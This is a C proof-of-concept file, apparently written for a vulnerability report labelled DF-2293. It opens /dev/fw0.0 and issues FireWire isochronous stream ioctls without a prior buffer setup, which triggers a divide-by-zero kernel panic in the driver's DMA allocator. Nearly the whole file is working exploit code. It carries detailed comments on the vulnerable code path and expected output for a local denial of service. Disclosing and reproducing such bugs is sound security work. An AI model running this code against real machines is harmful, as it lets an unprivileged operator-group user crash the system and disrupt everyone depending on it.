DF-2293 / poc_2293.c
/* * DF-2293 PoC -- FW_STSTREAM / FW_SRSTREAM with zero bufreq.psize * (no FW_SSTBUF issued first) reaches fwdev_allocbuf (fwdev.c:94) with * psize=0, which forwards it to fwdma_malloc_multiseg (fwdma.c:145); * fwdma.c:159 `ssize = rounddown(PAGE_SIZE, esize)` divides by zero and * panics the kernel. * * Run as an operator-group user against /dev/fw0.0 (0660 root:operator). * Expected: kernel panic ("divide error" / integer divide trap), no * ioctl(2) return. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> /* self-contained copies from sys/bus/firewire/firewire.h */ struct fw_isochreq { unsigned char ch:6, tag:2; }; struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; }; struct fw_isobufreq { struct fw_bufspec tx, rx; }; #define FW_SSTBUF _IOWR('S', 86, struct fw_isobufreq) #define FW_SRSTREAM _IOWR('S', 88, struct fw_isochreq) #define FW_STSTREAM _IOWR('S', 90, struct fw_isochreq) _Static_assert(sizeof(struct fw_isochreq) == 1, "fw_isochreq layout"); _Static_assert(sizeof(struct fw_isobufreq) == 24, "fw_isobufreq layout"); int main(int argc, char **argv) { struct fw_isochreq ich; int fd, rc; const char *mode = (argc > 1) ? argv[1] : "sr"; printf("DF-2293: open /dev/fw0.0 and issue FW_%s with zero " "bufreq.psize (no FW_SSTBUF first)\n", (strcmp(mode, "sr") == 0) ? "SRSTREAM" : "STSTREAM"); fd = open("/dev/fw0.0", O_RDWR); if (fd < 0) { perror("open /dev/fw0.0"); printf("DF-2293: FAIL-OPEN errno=%d\n", errno); return 1; } printf("DF-2293: opened fd=%d (uid=%d gid=%d)\n", fd, getuid(), getgid()); memset(&ich, 0, sizeof(ich)); ich.ch = 63; ich.tag = 0; /* d->bufreq was kmalloc'd M_ZERO in fw_open (fwdev.c:179): tx/rx * psize == nchunk == npacket == 0. fwdev_allocbuf -> fwdma with * esize=0 -> rounddown(PAGE_SIZE, 0) -> divide-by-zero panic. */ rc = ioctl(fd, (strcmp(mode, "sr") == 0) ? FW_SRSTREAM : FW_STSTREAM, &ich); /* NOT REACHED on the vulnerable kernel */ printf("DF-2293: ioctl returned rc=%d errno=%d -- NO PANIC\n", rc, errno); printf("DF-2293: NOT_REPRODUCED_ON_THIS_KERNEL\n"); return 2; } |